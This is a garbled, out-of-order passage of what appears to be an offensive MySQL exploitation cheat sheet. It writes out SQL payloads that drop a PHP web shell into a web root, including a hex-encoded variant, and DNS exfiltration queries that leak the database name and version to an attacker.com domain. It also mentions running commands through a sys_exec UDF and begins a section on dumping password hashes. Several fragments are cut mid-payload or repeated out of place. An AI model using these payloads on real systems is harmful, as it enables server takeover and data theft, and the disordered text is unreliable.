SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'; If OUTFILE fails due to newline issues, use INTO DUMPFILE with hex:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\fake.txt')); On your DNS server, monitor queries for dbname.attacker.com . mysql hacktricks verified
Use RogueMySQL or mysql-fake-server tools. The payload is: SELECT "<
SELECT unhex('3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e') INTO DUMPFILE '/var/www/html/shell2.php'; If secure_file_priv is NULL , you cannot use INTO OUTFILE . However, you can tamper with logs. " INTO OUTFILE '/var/www/html/shell.php'
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT hex(version())), '.attacker.com\\test')); If error-based or union-based injection fails, try Time-based + DNS. But for direct DB access, use the sys_exec UDF to run nslookup or curl . Part 4: Lateral Movement and Credential Harvesting 4.1 Dumping Password Hashes MySQL stores credentials in mysql.user . Hash types: mysql_native_password (SHA1-based) or caching_sha2_password (MySQL 8+).